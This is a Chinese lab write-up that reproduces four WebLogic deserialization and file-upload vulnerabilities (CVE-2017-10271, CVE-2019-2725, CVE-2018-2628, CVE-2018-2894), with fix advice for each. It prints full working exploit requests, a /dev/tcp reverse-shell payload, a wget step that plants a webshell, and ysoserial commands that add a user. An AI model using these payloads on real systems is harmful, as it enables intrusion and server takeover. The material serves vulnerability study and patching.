前言:WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。默认端口:7001

目录

一、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

1.漏洞介绍

2.漏洞复现

3.修复建议:

二、Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

1.漏洞概述

2.漏洞复现

3.修复建议

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

1.漏洞概述

2.漏洞复现

3.修复建议

四、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1.漏洞概述

2.漏洞复现


一、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

1.漏洞介绍

1.1影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

1.2漏洞原理

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
1.3漏洞利用

访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞。

注意:漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri路径

默认受到影响的Uri如下:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2.漏洞复现

使用vulhub的靶场

访问 /wls-wsat/CoordinatorPortType,返回漏洞利用条件页面,说明可能存在漏洞了

构造post请求包写入文件:

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 目标ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 522<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

访问/bea_wls_internal/test.jsp已成功写入

使用nc监听端口,构造POST包进行反弹shell(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 网站的ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 639<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp;/dev/tcp/要反弹shell的ip/端口 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

开启nc监听

nc -lvvp 要监听的端口

发送POST请求

成功反弹shell

CVE-2017-3506与CVE-2017-10271的利用方法一样,只是3506加了验证函数补丁,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否存在object 。

private void validate(InputStream is){
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler() {
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch(ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXExceptionvar6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOExceptionvar7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过,我们将object换成void就可绕过此补丁,产生了CVE-2017-10271

比如写入文件

3.修复建议:

1.安装补丁
2.或删除wls-wsat组件

二、Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

1.漏洞概述

1.1影响版本

影响版本:
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影响组件:
bea_wls9_async_response.war
wsat.war 

1.2漏洞原理

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

1.访问 /_async/AsyncResponseService返回如下页面,即可能存在该漏洞

2.访问/_async/如果返回403,也可能存在漏洞

漏洞不仅存在于 /_async/AsyncResponseService 只要是在bea_wls9_async_response包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri

默认受影响的uri
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps

wls-wsat.war组件受影响的URI见XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

此漏洞实际上是CVE-2017-10271的又一入口,那么它是怎么绕过CVE-2017-10271的补丁,执行REC的呢。 我们先来看一下CVE-2017-10271的补丁代码:

public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength();++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){
throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 =attributes.getValue("class");
if(var9 != null &&!var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is notvalid for array element.");
}

其中CVE-2017-3506的补丁是过滤了object,CVE-2017-10271的补丁是过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的。

绕过CVE-2017-10271补丁是因为class标签未被过滤所导致的,这点我们可以从CVE-2019-2725的补丁看出来, CVE-2019-2725补丁新增部分内容,将class加入了黑名单,限制了array标签中的byte长度

else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
}
else {
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {

2.漏洞复现

使用vulfocus的在线靶场

访问 /_async/AsyncResponseService返回漏洞利用页面,即可能存在该漏洞

先把后门文件放到服务器,等下让目标下载该后门文件

构造post请求包

注意:有两种写入shell方法,本次使用第二种

第一种是放置在bea_wls9_async_response/8tpkys/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/_async/shell.jsp访问webshell
第一种是放置在bea_wls_internal/9j4dqk/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/bea_wls_internal/shell.jsp访问webshell

POST /_async/AsyncResponseService HTTP/1.1
Host: 目标ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 851
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://shell所在的服务器ip/shell.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

访问shell地址:/bea_wls_internal/shell.jsp?pwd=023&i=whoami

3.修复建议

1. 及时打上官方CVE-2019-2725补丁包。官方已于4月26日公布紧急补丁包

2.升级本地JDK版本

因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。

3.配置URL访问控制策略

部署于公网的WebLogic服务器,可通过ACL禁止对/_async/及/wls-wsat/路径的访问。

4.删除不安全文件

删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。具体文件路径如下

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

1.漏洞概述

1.1影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

1.2漏洞原理

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启.

攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

2.漏洞复现

使用vulfocus在vulhub本地靶场

使用exploit的python利用脚本

使用ysoserial构造反序列化

1.使用ysoserial.jar,启动JRMP Server(ports是要监听的端口,command是要执行的命令)

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener port CommonsCollections1 command

如:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'

2.执行exploit.py

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

如:

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

结果如下:

3.修复建议

1.过滤t3协议。

在域结构中点击 安全->筛选器 连接筛选器填: weblogic.security.net.ConnectionFilterImpl 保存后重启Weblogic.

2.安装补丁。

四、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1.漏洞概述

1.1影响版本

10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

1.2漏洞原理

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,攻击者可通过访问此配置页面,用有效的WebLogic Web路径替换存储JKS Keystores的文件目录,然后上传恶意的JSP脚本木马文件。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制

2.漏洞复现

使用vulfocus在线靶场

访问 ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录(访问这个目录是无需权限的)

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

然后点击 ‘安全’ -> ‘添加’ ,然后上传jsp木马

点击提交并抓包,获取响应数据包中的时间戳

然后访问 http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

3.修复建议

启动生产模式, 编辑domain路径下的setDomainEnv.cmd文件,将set PRODUCTION_MODE= 更改为 set PRODUCTION_MODE=true 目前(2019/06/07) 生产模式下 已取消这两处上传文件的地方。

WebLogic历史漏洞汇总与复现相关推荐

  1. Weblogic 常见漏洞汇总

    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式Web应用.网络 ...

  2. Weblogic历史漏洞复现

    Weblogic WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发.集成.部署和管理大型分布式 ...

  3. weblogic中间件漏洞汇总

    目录 一.weblogic是什么? 二.安装环境 1.下载weblogic 2.安装(其实就是点点点啦) 三.反序列化漏洞 1.XMLDecoder(CVE-2017-10271 2.XMLDecod ...

  4. BMC 历史漏洞汇总

    刚开始接触 BMC 以为研究的人比较少,感觉一般人也没有机会接触到.尤其是服务器风扇的声音,一般人也不想去碰.去查了一下 CVE 之后,发现有不少漏洞,还挺多人玩的.近期也在研究这一块,把 BMC 曾 ...

  5. 一次历史漏洞分析与复现的全部过程

    环境需求 系统:Windows10 中间件:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.58/bin/apache-tomcat-9.0.58-wind ...

  6. weblogic ssrf漏洞复现

    采用的虚拟机环境为ubuntu16.04,在虚拟机上搭建好docker环境.采用的vulhub来进行复现. 使用git来下载,命令为git clone https://github.com/vulhu ...

  7. 常用的30+种未授权访问漏洞汇总

    未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...

  8. struts2 ognl 判断数据类型_新华三攻防系列之防护篇从防护角度看Struts2历史漏洞...

    前言 Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性.随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的 ...

  9. Apache Commons Collections反序列化漏洞分析与复现

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,[JD ...

最新文章

  1. 如何以初学者角度写好一篇国际学术论文?
  2. Uber致人死亡或为自动驾驶肇事责任 没有判例可循
  3. mysql 日均pv100w_日均百万PV架构第四弹(分布式监控)_MySQL
  4. Team Work(CF 932 E)[bzoj5093][Lydsy1711月赛]图的价值
  5. CentOS6.2安装redmine2.3
  6. np.expm1_JavaScript中带有示例的Math.expm1()方法
  7. python modbus tk 库_python modbus_tk模块学习笔记(rtu slaver例程)
  8. Python模块:配置文件解析器configparser
  9. 阶段1 语言基础+高级_1-3-Java语言高级_06-File类与IO流_05 IO字符流_5_flush方法和close方法的区别...
  10. php access 所有表,Oracle|sql server|access 数据库里的所有表名,字段名
  11. java中数组集合存放位置_java中数组以及集合
  12. 开源漫画服务器Mango
  13. 什么是php?php是什么?
  14. 和技术大咖们一起工作是怎样的体验?擎创招人进行时,你~要上车吗?
  15. 【2019春招准备:A1】
  16. windows查看tomcat版本信息
  17. Java基础 - 第一章 计算
  18. ArrayList集合实现RandomAccess接口有何作用?为何LinkedList集合却没实现这接口?
  19. oracle取整函数 kettle,怎样使用Kettle生成随机样本数据
  20. linux 输入法框架,常用输入法框架简介 - 微信公众号:算法与编程之美 - OSCHINA - 中文开源技术交流社区...

热门文章

  1. AutoIt3 使用进程名获取窗口句柄
  2. GD32 时钟配置解析(以GD32F405为例)
  3. 光纤激光输出的功率均匀性测试
  4. 【实时操作系统】实时操作系统和非实时操作系统
  5. 固态硬盘性能特点解析
  6. 流媒体服务器搭建之Live555
  7. 试装memcachedb,整理了下安装过程【转】
  8. 热门的前端UI组件库
  9. RocketMQ(三)——HelloWorld
  10. Python tkinter库之Canvas 直线等分圆弧(割圆术)